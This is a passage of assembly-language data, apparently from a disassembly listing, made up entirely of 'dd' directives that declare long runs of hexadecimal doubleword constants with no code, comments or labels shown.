0E8E9A360h, 0F2F3C087h, 69FC18A7h, 0BCB549Dh dd 0E77F59B5h, 0E5681FB6h, 0B86074FEh, 4CF90C0Fh, 0D039B870h dd 0B878DD97h, 27BA04FEh, 0C1E073F8h, 699409C5h, 6CF065EBh dd 1357BF41h, 4DACAF84h, 2565A13h, 89780D22h, 6820DD61h dd 51BD2D7Ah, 5DEA02A6h, 0C261295Fh, 0A6126EE6h, 228B6FFh dd 0BC47A6EAh, 4582750Eh, 4CFD8678h, 0A4C47338h, 0C9E72FA3h dd 0D70812DDh, 584E86D0h, 2D08C1EEh, 5EB29DB1h, 913F728Ah dd 0E5565B62h, 9214CC56h, 279CE405h, 0B0B4F031h, 3AFB4143h dd 687A3529h, 9F4AAE8Eh, 0CEA3CABh, 0D18998B7h, 25522560h dd 9D427412h, 3DB67E57h, 0E3EA3D92h, 0F00581ADh, 0BC304E6Dh dd 4D59850h, 136E1C38h, 106AE89h, 3252F49Bh, 0DBCA5358h dd 212042D2h, 47B33E03h, 0D2297EEBh, 80896175h, 9D5D8464h dd 0D6791474h, 0F9404D0Ch, 1B5F00BAh, 0BF5715F8h, 91090F78h dd 7882E96Ch, 0AE240002h, 1F2CD0F6h, 3DB8C388h, 283AC2E6h dd 0CAEBBAF3h, 16928FFEh, 0D2D761DDh, 0FDBBEDD4h, 43E21255h dd 78C200E2h, 0BF76FED4h, 0B33B6341h, 0E4E8F17Fh, 29B8745Ch dd 2227F504h, 2AF327Bh, 1743143Fh, 7DB7125Dh, 1C12ED83h dd 0C94E0B1Eh, 21F003A5h, 0E17B2E47h, 0F372EAAh, 0E3C71EB7h dd 1976EBC1h, 0D9C064E4h, 4ED3E902h, 0DE20A4AFh, 5C7B0D9Ah dd 0F2A9E04Eh, 0FB9C37C6h, 3281DA00h, 775C3D0Ah, 2D5B5A5Ah dd 2FFF393Eh, 0D035C216h, 2DF99FFBh, 0F146DDEBh, 8A0A3330h dd 0FE3814Bh, 6BC34607h, 4C99598Fh, 7A7D725Ch, 44C4BA4Eh dd 967AF3EFh, 5B929DA1h, 2AC42D5Dh, 0DE0262F6h, 6A4C685Bh dd 0E941FFF1h, 523A3702h, 1D2F130Dh, 655725A4h, 0E50F0A8Eh dd 5BD889FBh, 2120D0D0h, 0D15F5F9Fh, 6984592Fh, 42D3CD27h dd 0A9059F30h, 802F58CEh, 770A2F15h, 450CE6ECh, 0C801851Fh dd 4879185Ch, 0B912442h, 0C129E42Fh, 6EF4CB13h, 2E08808h dd 82281222h, 2E070F7h, 5073F280h, 4AD7D088h, 58B2C176h dd 9DFE68C8h, 0C9C9995Fh, 1B215975h, 2FB5BCCh, 355C0D38h dd 0E0771CE4h, 76D2DD6h, 0E982FD96h, 21304DD1h, 0C8C740F1h dd 317D882Ch, 212D512Fh, 0FEED357Bh, 9FE48C7Bh, 0DCBD6070h dd 0A6F153A3h, 0D9F5C213h, 0C15DE456h, 3AEA843Ch, 7469FEB6h dd 0FD0E90D5h, 9AB78021h, 43EF8005h, 5AC2CFFEh, 0DD935581h dd 1096F6B0h, 5F08212Dh, 0C5FABD82h, 4ACAC00Fh, 0B26BF539h dd 2077958Dh, 9282B254h, 0D6E91370h, 3C6358ADh, 179C41A5h dd 6F880FEAh, 665B01DCh, 0D32A0668h, 686FF31h, 0BA5D2F6h dd 0E207915Eh, 337C0AFh, 0FCABDAD7h, 4CC28CECh, 7EB5EA06h dd 69C83A75h, 0E9251E20h, 0BD2D60A6h, 0C7571E40h, 0F7418B3Ch dd 0B0F09E5Fh, 0F7F4CB9Ah, 0EE88C951h, 0C9FE015Ah, 4471B753h dd 0D0EB819Fh, 0C5EA05DFh, 0AC6D536Ch, 440809F0h, 4545750Ch dd 0C95B880Fh, 0AE81D775h, 27DC97E9h, 0E2BD3908h, 0AFCB2C1h dd 5C2D0271h, 60EB1670h, 0FAB310F1h, 95BE6CDDh, 5CD8C9F6h dd 7B9F0205h, 0F8015DC6h, 0A3C25056h, 0EE34C408h, 0F84F4B6Bh dd 0C15DA2ECh, 2D0018B6h, 0C35064ABh, 0FEF88591h, 0C214F4BDh dd 9CA3D62Ch, 93DF34C0h, 5703C82Fh, 982BBBC3h, 3E73D920h dd 59C61780h, 465C553Fh, 162864B5h, 0B24CE94Eh, 762CCB77h dd 3BBCAD9h, 53DE5E27h, 10E3F6B5h, 51007C3Ch, 3834BBB9h dd 0E113C175h, 0BE4108h, 87F1816Fh, 60E77D73h, 2D16184Dh dd 80103EB9h, 0F6E226EBh, 0CAC2311Eh, 75F29EF7h, 472D9E50h dd 0CA2BDD99h, 50F6005Fh, 0BD2DDB5Dh, 0F2011574h, 20A11002h dd 0BB10D578h, 0D9A15EB9h, 776BBA8Eh, 0CF813920h, 792535DDh dd 4742F42Fh, 0C5440584h, 755204F8h, 0F1041653h, 8FAB02C5h dd 54E91283h, 1AF9A85h, 3350A878h, 4C863829h, 4B3004CCh dd 0F0EA772Bh, 8CD0D8DBh, 5F6E600Bh, 4B8DE95Bh, 3412CC4Eh dd 0DC83CE68h, 15215802h, 494AD706h, 0B0C080Ch, 0AF76109h dd 0FD07452h, 89A50D1Ah, 0EA80C2F2h, 64F5C648h, 0F62A393Ch dd 6850010Eh, 77898E2Dh, 0B17EC52Dh, 0D7F83A63h, 1317CE40h dd 1744F918h, 0C975E13Bh, 201731C2h, 0C8F81CFAh, 55095EB4h dd 5B640254h, 0CAD10B1Eh, 0F58BD6CAh, 76FC0B03h, 0B3A116EAh dd 12BE4E0Bh, 6E8EBE87h, 0F114544Bh, 5F76AB20h, 1A1EC725h dd 8667FDBCh, 2CAE5696h, 47167EE2h, 0E41D224Ch, 4A045E6Eh dd 0B0EEEBC1h, 0EE13D0C6h, 0E2B06299h, 15B90525h, 0C54818B5h dd 5609C734h, 0A6A7904Fh, 1A27C825h, 0C7688003h, 0A38B474Ah dd 0C330FA5Eh, 16B1BA52h, 62C841h, 185B7915h, 0D1A24A1Eh dd 20511869h, 2800702Ch, 20B94052h, 9DAAE833h, 0D7996641h dd 5C79733Eh, 0D65FC948h, 1BC6584Eh, 49825F82h, 0F04134EEh dd 50BD0444h, 0E24BAD49h, 4E2E78B7h, 2969F85h, 0BA3A08CDh dd 5ABD8A28h, 1FB08FAAh, 0B0A0CDB2h, 68A2B7A1h, 3064115Fh dd 2680DF95h, 5B59CF01h, 0F9BBA2BDh, 0D2B8FD42h, 6E62D968h dd 5631B55Bh, 0BF5AE570h, 26585ACEh, 0B463DB17h, 5A95884Eh dd 0D24F01h, 8ECC062h, 0C47BF480h, 5A435E62h, 77945D87h dd 0D2F14564h, 3C3258B9h, 0D1D75913h, 49F76BFEh, 2BA7276Dh dd 475A80FFh, 134D2C78h, 103E6C1h, 0B9AFB43Bh, 0C6C43B58h dd 2EE149BFh, 47572362h, 0A9FC0CB8h, 0B0985C56h, 0F13A4B41h dd 88006045h, 7F73F8BDh, 0E02A3250h, 0B705AD2Ah, 0ED80DDABh dd 0CB007AAFh, 3D3041BFh, 5BD7F47Ah, 0B831FFB6h, 0E22E5AF7h dd 32BB9798h, 55297E05h, 687C4F46h, 93B75864h, 0B01FE8ACh dd 0B8857DAh, 8D843F55h, 2B31AFC0h, 400571EEh, 76AB49A5h dd 0FE792940h, 85BD565Fh, 6ACBAE96h, 0C92DED48h, 504B6066h dd 6FCF4445h, 0D94966E3h, 0A0A9532Ah, 28563FD1h, 2D838E8h dd 3720776Eh, 9FA952E9h, 275D37Dh, 114B685Ah, 0EEC24551h dd 8283655Dh, 66C3315Ch, 41CC565Dh, 25EB20E9h, 7F16A16h dd 571AD02Bh, 712CA568h, 3817A834h, 0B1EF28B1h, 72227491h dd 9D13BF4Bh, 0F8621692h, 0BCFF97ECh, 0BE792F7h, 3A687F84h dd 5B5CD32Bh, 0F1C0E940h, 0F7EFB7FFh, 0CE14E984h, 0D097598Dh dd 874C437Fh, 0D0F881FEh, 37589607h, 0A767048Ah, 0A6A4BF24h dd 0DD8B5A41h, 1307BFF6h, 4E92E4ACh, 9CA1D5F6h, 824702EFh dd 4F1E8BFAh, 0E984F7B0h, 0F314D573h, 825D27F4h, 9A860CDh dd 759D69DAh, 0D989BB89h, 47A6D859h, 0D8859713h, 5EEFDEAAh dd 0D027E7CBh, 0AEBEC402h, 0EB0F34C1h, 0A94AD5AAh, 0DC43B7F4h dd 777EAA20h, 0D189B75Ch, 0C30A80EEh, 0BD4BB54Dh, 0F98354DEh dd 0FBFCF536h, 49679FC1h, 0E9C6C1EBh, 45810845h, 0BD00BEF5h dd 872740B2h, 33B1767Bh, 0C095204Ch, 0BC3FE5BFh, 60183860h dd 0C0124973h, 0FC35400Ch dd 0EF5A016Fh, 90E9E92Ch, 0E25B948Dh, 11AF6853h, 949BA7EAh dd 0CA27D8E3h, 0D59DE3F8h, 86256794h, 1C4A72A9h, 30855915h dd 3AF41E88h, 0B385B65Fh, 0F72DBE80h, 0F04A7164h, 0F774BF87h dd 17685640h, 12597416h, 1DEF75Eh, 0C03F935h, 0CFC2E23h dd 0BFB3A504h, 4E7AE4E4h, 48004D92h, 266CD235h, 12640536h dd 0E45F6E12h, 2525CABDh, 0F9EE55FFh, 8E9DC2FAh, 32DEDF58h dd 64D20D09h, 525C0938h, 677D8668h, 94DBAF41h, 13C0CF93h dd 586286BFh, 0EF030D6Ch, 0DAE02820h, 4EEE2C04h, 0D4EB10D0h dd 0FB081760h, 0D0C2BB63h, 25876573h, 0BE45D301h, 77B0D8C5h dd 322304B9h, 0EE416476h, 0D9E89284h, 40E3F64Eh, 6D3F7FD6h dd 98BFCB31h, 2FF0539Dh, 3295B192h, 0F082D590h, 6DDD9C40h dd 0F181802Bh, 227F157Dh, 0D5305AC9h, 6C25D8E5h, 0CEE059Dh dd 0BF0869E7h, 91EE6D64h, 3C1B3340h, 0C9E982ADh, 26E5DA7Dh dd 8107B5CFh, 45A203C6h, 67C03B49h, 1287BB53h, 17173619h dd 830EBF5Ah, 0FF3C006h, 0C3518607h, 7844450Ch, 0C638838Dh dd 68A84C5Bh, 96776625h, 0B11EC4EBh, 0FF1416A8h, 76D32D91h dd 0AB049734h, 5C32892Eh, 45F4938h, 0E3AB5D04h, 0E3E984B7h dd 5BC6D0AFh, 6F7A811Dh, 13D44359h, 0D20DC529h, 3A350F73h dd 0B9DAD46Bh, 0B5EA8793h, 78D0EF72h, 0B779D6D2h, 61EAD654h dd 2E5DEF46h, 285F77B7h, 0FF2DE924h, 0B55EC6E3h, 0D3BF8872h dd 0A4281616h, 0AFBFED1Ah, 0A6726A73h, 9E098EA6h, 0D93C7D10h dd 0CAB586BAh, 816ADFFAh, 7BAC6661h, 0F15E09F7h, 52A83BEBh dd 3C52BBA4h, 12AB7CDh, 0B407A032h, 1096541Ah, 0B112DF07h dd 9345E828h, 34F351B1h, 1606C508h, 0CA07EB97h, 0D5CBF801h dd 7D54926Ch, 82BD31FFh, 5784BDFEh, 55D9993Bh, 61322BB0h dd 37AD7E1Ah, 9EF9432h, 69DCD059h, 43DFB550h, 0E9EF095Bh dd 0F954B87Ch, 220CFEE2h, 0AD07A4B7h, 5D05E262h, 3858F2A0h dd 2D091F36h, 857E4137h, 49E0FE0Eh, 0A6B59EBFh, 25C528D9h dd 0EE3B61CDh, 80BF1DD9h, 0A38AF31h, 1E7812Bh, 68371546h dd 75E3A2E9h, 0B1FC3E98h, 0F95E574Ah, 352DD5B7h, 0B11DAD61h dd 5E35FBE6h, 253DCEEFh, 4F8CF652h, 7C2CCB81h, 0CCA06A95h dd 5CA8E459h, 0E6050BC5h, 0AA416313h, 8075094h, 87F9295Bh dd 80F35624h, 0DCDFC333h, 0E310ECABh, 54B0F5E9h, 17BD2D68h dd 5F27CC67h, 0F42563C7h, 208B9A30h, 1661DAD5h, 0FDFEA3E8h dd 395A8A11h, 0F498BE09h, 7957D2C6h, 0CADD88F8h, 3855BA07h dd 30807F5Bh, 478E7BCDh, 3CC5E912h, 702D8F90h, 31127BDEh dd 0D0630DFBh, 77003F5Ah, 11F117F3h, 0BA6E7BAh, 0A0072736h dd 0ACA36443h, 0B15A319Bh, 62295758h, 0A19AA0F4h, 0F3E00DEDh dd 10EC95ABh, 0D30E686Ch, 522FC0F7h, 0F08870B6h, 0DBFD82A2h dd 0E6F5C9B9h, 0B038556Fh, 41C5407Ah, 5811A24Eh, 50542D06h dd 40981ED7h, 0C60E863h, 73DC5A47h, 0CFF200D2h, 936EA5D4h dd 72C59631h, 0B4AB59C1h, 82006483h, 0C5FCEACh, 3F7EF57h dd 88C1849Ah, 5397BC81h, 2A0E62DBh, 0E033D7B0h, 13859531h dd 7064C4Dh, 8D0F190Ah, 0AE90C28h, 0EA004B0Bh, 785661F1h dd 584054B6h, 7C00857Eh, 0BA2EA3D0h, 0F3605094h, 98B5F616h dd 1B8BF6C7h, 5E2019BDh, 645C2E1Fh, 0F38A7883h, 856F3F89h dd 39B1E745h, 602E9D23h, 1621B5C6h, 0BF0F010Eh, 0EB8361C3h dd 38FDC02h, 1ACEB1A4h, 0BD31214Bh, 6D890749h, 0D2CDCFBh dd 0F5A88F62h, 39C011E9h, 28011E92h, 0CB4200BAh, 0EF90E48Eh dd 0CF004716h, 0BEAAEB53h, 3EC5B479h, 693DA4E0h, 0AECD9600h dd 0C4A57395h, 0B0A2D401h, 0C580E765h, 0BB38E0F2h, 1E176C6h dd 0C0416CADh, 71957ACCh, 40FFAh, 0AEAA47E1h, 0C3F061BCh dd 0DADBCA18h, 52506898h, 0E930B500h, 0B9D3B1AFh, 4FBC0074h dd 0CB9A7D49h, 29C8D8A5h, 0D7094286h, 0EA216B24h, 0BA7A11D6h dd 0DA07A711h, 0B0213704h, 202E12D3h, 43161DC9h, 0E7FE2200h dd 8D4ADF5Fh, 25BB00FCh, 901A2B2Eh, 9700C5C1h, 0DDA86CCAh dd 0A51030Ah, 6F98F3B6h, 183C00E0h, 0FE4B1B11h, 0B5102D17h dd 0E5792C00h, 1CFDF4B7h, 452F2190h, 8382AF8Fh, 0CBD82717h dd 6200B263h, 356F1444h, 1F57A2F8h, 0FB216Eh, 1CD0D1Bh dd 17009481h, 32DDE7FFh, 93F442h, 25953D9Ah, 0E102130h dd 27F84600h, 0C4183143h, 91400F15h, 87C088A0h, 79384F32h dd 69455400h, 0D0B48ACAh, 0BF3600E7h, 1D150DD7h, 8C00FEF4h dd 0F028C8EBh, 208E565h, 10A9F9A3h, 0E487A2F7h, 0CEB88318h dd 0EC5D5AC8h, 0F1366B00h, 90A14797h, 7CA800B7h, 0A624E237h dd 6B0043D1h, 445D75F6h, 0BF0A4E5Fh, 0B8407D62h, 9A0ABD87h dd 94B394F9h, 4440E51Eh, 9F6B68A5h, 5E330099h, 0A1F5054Eh dd 3D00DC3Eh, 0D6DD5616h, 0B88E9Bh, 11D3D84Ch, 0AE387309h dd 929F9100h, 39DEACBCh, 2114099Ah, 0CB07C687h, 7F690009h dd 3800B137h, 5A9418E2h, 0BB4F6C4h, 19FB9F75h, 43003AD8h dd 72388B05h, 39D6535h, 0C0C2931Ch, 7783947Ch, 0EC22A8E8h dd 36C7148h, 4498D5D0h, 0D84800F7h, 7AE13094h, 0C0000DC1h dd 1F67E01Ch, 0A65CB2h, 0D2959CF6h, 0C9BE355Dh, 0EBD72A00h dd 86AB8428h, 7509801h, 3315FEE5h, 0CE7F5034h, 0A230EB63h dd 0AF41EC7Ch, 9780002Ch, 1A7810DEh, 1D03BA60h, 8E626BEDh dd 0C91FB0CAh, 32510B23h, 8680D27Dh, 7082950h, 98AE3701h dd 0E3A58171h, 4EC9F4h, 9749A0D5h, 42643ED6h, 0DFAA6D1Eh dd 0FC519A40h, 3A70C233h, 2ECCF41Eh, 64FA651Eh, 0D45595E8h dd 81E8DE00h, 4ECA0924h, 9FEB2A03h, 2118AFC9h, 5A9154A0h dd 0B7273B83h, 2584B3E8h, 479FD800h, 4505CC44h, 8D1D0082h dd 5A9C5077h, 81C513Fh, 0EF03FC9Ah, 0B8762AABh, 1E58A012h dd 43203435h, 0C5222754h, 0A70220EFh, 6E24F288h, 3B0058A3h dd 7F0E0130h, 6891C021h, 6547EAA8h, 5C1411C0h, 3A2189Ah dd 899F8B20h, 0B11C860Fh, 0ED40537Bh, 20FE7A9Ch, 116C4CE3h dd 0BC83AF00h, 5628A7DBh, 6373DD90h, 0F7318500h, 92222FE2h dd 7C960030h, 0E81D87ACh, 0F83CFA43h, 6DBF84BBh, 6D84DEA7h dd 7EA2BB80h, 0CD4F0083h, 85338841h, 1300029Eh, 4E56BDACh dd 0BAEE2ADh, 0DABCF52Eh, 0C6807809h, 0DEBD339h, 9589600h dd 0DC181392h, 876A38F3h, 0FD4F428h, 0D5CC56FAh, 0B62974E0h dd 500A036h, 643F0B22h, 6AAAFDh, 142F481Fh, 0E0697EA7h dd 0EC76001h, 0A1B13A89h, 70F98ECh, 21C95038h, 9AFAD099h dd 7D00F317h, 9C10EA6Eh, 1EECC72h, 672379B8h, 0EC49CD56h dd 2C01C244h, 62B9B4E3h, 0BB440727h, 40E1B80Eh, 316055D7h dd 2F1001C1h, 8B9C38D8h, 0D02080ECh, 9342CC39h, 4B6E1402h dd 0B300E49Bh, 6212BB2h, 60091DCBh, 203D548Ah, 0DDC4F490h dd 747D009Dh, 89423A6Eh, 4902AA50h, 2F87B772h, 1ED08004h dd 0F688E55Dh, 13DF003Ah, 0EB809074h, 48139346h, 913Ch dd 64458349h, 0A01C0084h, 0E7721E4Ah, 9F003416h, 4944BECh dd 0CCAA66h, 0DDE92E4Ch, 0E651ACBDh, 0AB3B0600h, 45153582h dd 7FC82E89h, 0FF24007Ch, 4036D5ECh, 0E046D103h, 8D35AA1Ch dd 2C028C81h, 59C9C20h, 46385773h, 0B3CE8036h, 0CB0B1CCh dd 4209EC00h, 0C303016Bh, 806F00B9h, 25930B45h, 43748526h dd 11D49550h, 0D842E500h, 0A6169D0Dh, 0D4783EABh, 0AC35060Eh dd 31A500F2h, 39B1551Eh dd 0FA00677Ch, 0D088CDD1h, 0D61017h, 4B0DC45Bh, 78F1A1ADh dd 0F6A22C01h, 0D94FB74Eh, 0E840A9E9h, 0FB17AD0h, 52F14188h dd 0CF2C7B80h, 0B60E8643h, 32B1A19h, 0C861541Fh, 4CC453DAh dd 0E8011C76h, 8FED10BDh, 0AD8ECC1Ch, 23B9F800h, 0C5185759h dd 0F7320077h, 6EDEF558h, 0BA02AC46h, 1355DD35h, 0FF080A2h dd 1E9E157Ch, 492F0D69h, 98831816h, 0E198D7CDh, 0AE1E0A1Ch dd 0FC40EFFBh, 552BBE03h, 12980095h, 4E70765Bh, 154CA7E2h dd 29071DECh, 47AAA281h, 9870AC10h, 34311C8Ah, 0F3A84Eh dd 0D2870444h, 0F0197037h, 7C139500h, 0BA6750D9h, 7E701F8h dd 0A68E0F32h, 26E84036h, 7D79F201h, 0DC8FA200h, 0B8BA385Bh dd 59D91337h, 750B0317h, 0CA823F2h, 67E5B97h, 9D408F09h dd 3D680060h, 0BF68C5FDh, 8B00C7D8h, 51796BC4h, 61A694F3h dd 0A8C06030h, 4956D8E2h, 7CB6800h, 0EDD623F5h, 117A01A0h dd 0BD6097B9h, 0F2643058h, 740FEF00h, 55D8EB03h, 9A7A12DCh dd 0FEA009BEh, 7820FF89h, 624EB69Ch, 5FD91600h, 0C87BC2E9h dd 14381D7Ah, 96DF002Eh, 1D4AFEFFh, 8FEF8900h, 0D2FAA799h dd 0CD80072h, 3D3F634Ch, 4300B778h, 77B2F8C3h, 35557Dh dd 47A1AB0Fh, 0FB9240D2h, 0FEC27803h, 0F8DBD9EBh, 17283A0Ah dd 0F7457Dh, 65D70B83h, 7800A8CCh, 29F258Ah, 40ABECh, 114181F3h dd 0A7DD1D71h, 87FE58h, 8C2CFB98h, 580C8654h, 0D900C0B5h dd 0E99681D1h, 647960FCh, 0BF8FA59h, 84B8620Ah, 3F80C645h dd 74043A48h, 0A84D0084h, 0F4317788h, 0FE0046A6h, 5AE26C37h dd 2439D6EBh, 80DC9AE9h, 2ADDD542h, 8B02768Ah, 0A64C6708h dd 45CC6064h, 81B20043h, 0BA2FFE71h, 6703C307h, 0CC7B330Ah dd 0AED7909Fh, 0B1F90042h, 68EAD974h, 5C50B097h, 911707F4h dd 0DC0FAD92h, 0E028CF43h, 0A9F47DC8h, 642C1F47h, 3F74C02Eh dd 0CFD68B59h, 7FA63803h, 0E0404D68h, 9567702h, 789083CAh dd 231CBC00h, 0E0E4A7C4h, 0F04BB107h, 8C600DBCh, 7FEC19h dd 25BBF6ACh, 2322039h, 0F97EF100h, 56D59A97h, 0B3B7263Bh dd 2EE10E5Eh, 52C0E961h, 91BC2019h, 72F19B1Eh, 50F7CE00h dd 1FA188ECh, 9BEAEB7h, 744874C3h, 6A7433E5h, 0B018E098h dd 0BE461221h, 18DD3841h, 83C91180h, 6D23DAC3h, 0B3BB5503h dd 0A9A26220h, 4A707A03h, 4F1400B9h, 0EF1A8C6Fh, 5002F84Dh dd 0C31B9177h, 0ABDC4090h, 7B4516F7h, 85540083h, 995CA9BDh dd 9E13150Fh, 79514ADh, 969F44DEh, 0E7CBEB40h, 6520056h dd 0B6C7082Bh, 0BE009BBDh, 0AC206A46h, 6C75D8h, 7342517Ch dd 74CDF64h, 54630D00h, 0EECBEF22h, 31D70C50h, 81287B58h dd 18884200h, 4BB9ED06h, 0C0800BC9h, 0A3002D2Ah, 9CE52EFFh dd 2E10448h, 0EAE16D4Fh, 28EC8143h, 20323045h, 2429A500h dd 0D1F8B3CBh, 0D53D4F00h, 0C08A4905h, 0EAEB007Dh, 0E06DD41Dh dd 0AF1F92B2h, 3BC082ADh, 119DE928h, 875E1CC3h, 2EBC80A0h dd 0F124722Fh, 0E193F60Ah, 1F1FB06Eh, 7317E380h, 0FFD3A52h dd 9B707C4Ch, 96022ECh, 0E5B4C900h, 375EBD12h, 24C700BCh dd 3A3BE70Ch, 0ED0C56DCh, 0F882361Bh, 0A3330183h, 459DF577h dd 0B5ECDC40h, 97E57807h, 4470D012h, 3AA46BFFh, 0B6802765h dd 88A5CCFDh, 0D163E86Ah, 0F8B38320h, 16DEB7h, 0A3C593D3h dd 9B049019h, 59711700h, 758FC645h, 4BB6005Bh, 69A5E35Eh dd 8600DD01h, 5CC30EB5h, 0CEC44Fh, 5F096BC5h, 0E18A85C0h dd 9837D000h, 729D0BB2h, 0D2611C50h, 0D33CC958h, 9CEE8C00h dd 0B21DDD52h, 5B00053Eh, 501E0DD2h, 9E99002Fh, 32CE7E73h dd 3B00B95Dh, 8969A0A6h, 0C61D83h, 33044D86h, 80EF7C47h dd 0F1FD4C00h, 8299D8CFh, 96AB012Bh, 0E5448B73h, 693FE84Dh dd 2C1CEE0Fh, 0CE0E800Bh, 0F91116h, 72207563h, 0E26429CDh dd 9FBBD900h, 0EE14E7DCh, 87A63EC6h, 0B0C8CB80h, 0AFB16D13h dd 7139CF1Ch, 0F7C4F8Bh, 8F1B80F9h, 4C199381h, 0F90055CBh dd 2F632D17h, 310076ACh, 0DF253A18h, 4AA3ABh, 5A940CEEh dd 0FB686746h, 15637000h, 0B9ECB78Eh, 2ED700A7h, 8148D254h dd 4000C792h, 0BBE1F85Dh, 7D7235h, 4CF9B010h, 750E85C4h dd 3B1B080Bh, 532B00C7h, 14B7014h, 0AE593E89h, 0C0CB4DD3h dd 4A00F077h, 0AFC7331Fh, 1294B093h, 0BC470Dh, 0D159318Bh dd 242C2E69h, 0BE0E14B7h, 914240D6h, 0E40830Dh, 1AD32986h dd 0A5F81420h, 1F905409h, 0A0701D00h, 587E4DF2h, 0FA333B77h dd 0DE592900h, 0F775113Eh, 882A5426h, 0C9826380h, 3E7FC208h dd 0D813EDE4h, 0D358C08Ah, 9D0010E8h, 565E4F6Dh, 0E5305CCh dd 4A0A03A5h, 90B36A8Fh, 2CB38510h, 0D2F32700h, 8ADB7EB4h dd 34D313E2h, 1E6883A2h, 0BC7CCBC8h, 0E8223100h, 0C4864DD5h dd 0A6C50612h, 79A173C1h, 0E44C160Fh, 0BD5600F1h, 0C033D492h dd 5801C18h, 9D67BF93h, 0C8807811h, 61173Dh, 289BEF43h dd 4FB3A331h, 0E25B3Fh, 5158C3A2h, 73495078h, 21B2C085h dd 67A9F7C0h, 0EB9548C0h, 1165704h, 3B770568h, 3C744CB5h dd 3E0F39DCh, 1768756h, 3360B760h, 772B2E3h, 8BF0C214h dd 7963A1C7h, 0F7CBF8F1h, 59686130h, 5570CEDh, 0F951EBD2h dd 0B50C0062h, 70227431h, 0BC9F0500h, 9A7D428Bh, 0C454005Fh dd 0E2D1764Ch, 0BA000A93h, 0EA279674h, 2D5117h, 18B5B961h dd 8899B20Dh, 0A0FE280Fh, 4F6A0F0Ah, 5F81DE04h, 0B9890B2Fh dd 0CEE820h, 0A51AA096h, 61C7A802h, 9D247B1Fh, 0B03307FBh dd 0FB00D4A6h, 93D88Ch, 94656AEEh, 7818BD14h, 97D09F00h dd 58B51AE4h, 0B6EE0076h, 0A14AD960h, 0F50053DCh, 0C69FECACh dd 6CDEAFDh, 0C5BC6EE4h, 9202E8E8h, 63483B66h, 61A881ACh dd 0AC507365h, 0A134382Fh, 69D03F88h, 61E50CBCh, 0B0217264h dd 5030A8E8h, 0DBFA1165h, 41F3E685h, 6438829Dh, 48012FB3h dd 0E4721510h, 6C20208Ah, 18CC9503h, 166BCB5h, 63AAB211h dd 0F0E78Ah, 10BACF32h, 9FE64BE3h, 0C7E90800h, 2468C876h dd 440FB9h, 0CE13CA83h, 100079E8h, 0A3CC1AADh, 18322693h dd 10124920h, 1C91519Fh, 7933D200h, 481ECA85h, 3742CA8h dd 1B67034h, 63F7C137h, 380A06F5h, 0A47473DFh, 450FF31Fh dd 0EACF06EDh, 0C3127B10h, 0AD6411F1h, 0AA420DD0h, 0CB0FB1FEh dd 94E43B6Fh, 3ECE01B0h, 965E3567h, 61C6308Eh, 0D064874h dd 70185920h, 782B9C14h, 61918CC4h, 0D6B54C28h, 89C3D700h dd 3A71CE2Ch, 0B6563F17h, 7E4AE003h, 601EF0A8h, 0A0303716h dd 5FC83039h, 0BC90EF03h, 399C9000h, 19C1FA61h, 0CA2F0068h dd 0FC6B6050h, 565133D7h, 0D927F0ACh, 800C3C3Dh, 9548B543h dd 15ECED05h, 0D86BBD65h, 0AF15500h, 515C3D96h, 7B636412h dd 52002025h, 3AB88E2Eh, 0E0F4544Dh, 72E013h, 90120EE3h dd 85C9ED19h, 0C4B30300h, 0EEB73162h, 65DE0222h, 7061A12Ch dd 58759090h, 0CBF86D13h, 7FEA2002h, 842C4278h, 9A00B728h dd 0E55F83EEh, 896CCCA0h, 0B1331300h, 423F4348h, 32CF0FC3h dd 3681AEE3h, 0F04E514Ch, 14A0F44Bh, 0B5F83B26h, 8D071C00h dd 5FF7937h, 0ABCF00F4h, 0DE7584D7h, 0A1010CF3h, 50BF1E59h dd 35EDAFA2h, 0BBFCCCh, 8FDB06DDh, 0F4F6D352h, 0B909243Ch dd 32378170h, 10CE900Dh, 8FECD0C1h, 0EC2D0082h, 7364F64Fh dd 270331FAh, 49C46109h, 12AF82Eh, 0F6330107h, 44F89ACFh dd 11204F43h dd 87803009h, 8A379539h, 80163800h, 43B34F1Ah, 2688CF09h dd 0DE1D0A83h, 0FD784018h, 38A859E9h, 0E580E3ABh, 0A6FC4D17h dd 0C858EFC4h, 40BC3318h, 0CBDBC0B5h, 0D2550029h, 1EF0FAD4h dd 0BA0370DDh, 0CF8F6DC0h, 5268806h, 43C11CB5h, 272AC002h dd 0B384315Ah, 0FB88BB01h, 71D2220h, 6005FF30h, 40E68006h dd 80031735h, 87DBA001h, 0FB083749h, 353670A1h, 6E28D3F6h dd 67E28402h, 0A64CC500h, 96DB75D9h, 86BCA090h, 834806C9h dd 0B8E9018Ah, 87425400h, 6DEEA9B7h, 0E75C000Bh, 77565FD1h dd 8C446EB6h, 407F003Bh, 530DCD94h, 0AB0004BFh, 0C30C7722h dd 48FE8A35h, 4429118Eh, 843D1F5Ch, 62497F48h, 374620ECh dd 7600B135h, 193EBC63h, 246CF7E4h, 301C9617h, 0A7515650h dd 86CFF90Dh, 0D7590Ah, 47547D41h, 0C38CC06Eh, 8D0ABB07h dd 5FC0FDF7h, 0F2EB1C0Eh, 28420144h, 1E6321Dh, 2C7E3097h dd 435C3F0Fh, 0B183C57Dh, 0FA5E8400h, 18F4EC05h, 60049E4Ch dd 4B00A606h, 5B8C3393h, 0CD870ABCh, 0FC21A269h, 0D87C9353h dd 0AD166300h, 593A3611h, 0C486416Ch, 0F1008AB1h, 998E67FCh dd 7F6DF9Bh, 0C55470E5h, 0F988620Ah, 0BD7A5C40h, 786C0948h dd 3EE80500h, 0F4EF416Ah, 8C1B1893h, 0E91CC847h, 0F15401F9h dd 0EADC7700h, 0D9A00603h, 0D5F4ED5Bh, 935C6020h, 2490AA2Eh dd 4640FB60h, 7D8D9344h, 545AF93Ch, 220783B0h, 9413A65h dd 0B8EA64C7h, 393021A4h, 0B14473h, 7C30D851h, 8B259178h dd 3DB39D02h, 4059DB3Ch, 1E8A2833h, 0C0344ECDh, 3606FA05h dd 69C0D1ECh, 5FC22EAFh, 0AB4A3859h, 9095131h, 0F208007h dd 479AC237h, 0E99E003Dh, 76B611D7h, 4A004EA6h, 0E46E8B5h dd 0C3047C83h, 77DE630h, 7811A10Ch, 0A4769D0h, 0C5669055h dd 0FE0400F4h, 3F8997CFh, 8ED0A0C3h, 0A39FBA01h, 0DDECD8h dd 0DEDA0239h, 918E3466h, 19DCEF31h, 0AFD818F0h, 3FD20973h dd 5404D072h, 3E7C9847h, 7F493508h, 42F8C431h, 0C0353447h dd 128F7F96h, 6F1636Ch, 0C1099E78h, 8F78631h, 0A0C2EF37h dd 0BD744588h, 